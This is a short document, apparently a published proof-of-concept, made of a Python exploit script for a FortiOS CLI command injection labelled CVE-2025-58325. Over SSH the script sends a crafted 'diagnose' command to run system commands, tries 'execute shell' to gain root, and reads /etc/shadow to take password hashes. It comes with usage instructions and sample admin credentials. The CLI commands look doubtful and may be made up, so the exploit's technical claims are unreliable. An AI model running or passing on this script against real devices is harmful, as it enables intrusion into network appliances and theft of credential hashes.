CVE-2025-58325 FortiOS CLI命令注入导致本地权限提升漏洞

# CVE-2025-58325 - FortiOS CLI Command Injection PoC # Vulnerability: CWE-684 Incorrect Provision of Specified Functionality # Affected: FortiOS 7.6.0, 7.4.0-7.4.5, 7.2.5-7.2.10, 7.0.0-7.0.15, 6.4.x # Requirements: Local access + High-privilege authenticated session import paramiko import sys def exploit_fortios_cve_2025_58325(host, port, username, password): """ Exploit CVE-2025-58325: Execute system commands via crafted CLI commands on vulnerable FortiOS versions. """ try: # Step 1: Establish SSH connection to FortiGate device client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(host, port=port, username=username, password=password, timeout=10) # Step 2: Open interactive shell session shell = client.invoke_shell() # Step 3: Execute crafted CLI command to trigger the vulnerability # The vulnerability lies in incorrect provision of specified functionality # allowing system command execution through specially crafted CLI input crafted_command = "diagnose sys system cli exec \"id\"" shell.send(crafted_command + "\n") # Step 4: Read command output import time time.sleep(2) output = shell.recv(4096).decode('utf-8', errors='ignore') print(f"[+] Command output: {output}") # Step 5: Attempt privilege escalation to root escalation_cmd = "execute shell\n" shell.send(escalation_cmd) time.sleep(1) # Step 6: Execute system-level commands system_cmd = "cat /etc/shadow\n" shell.send(system_cmd) time.sleep(2) result = shell.recv(4096).decode('utf-8', errors='ignore') print(f"[+] System command result: {result}") client.close() return True except Exception as e: print(f"[-] Exploit failed: {e}") return False if __name__ == "__main__": if len(sys.argv) != 5: print(f"Usage: {sys.argv[0]} <host> <port> <username> <password>") print(f"Example: {sys.argv[0]} 192.168.1.1 22 admin password123") sys.exit(1) host, port, username, password = sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4] exploit_fortios_cve_2025_58325(host, port, username, password)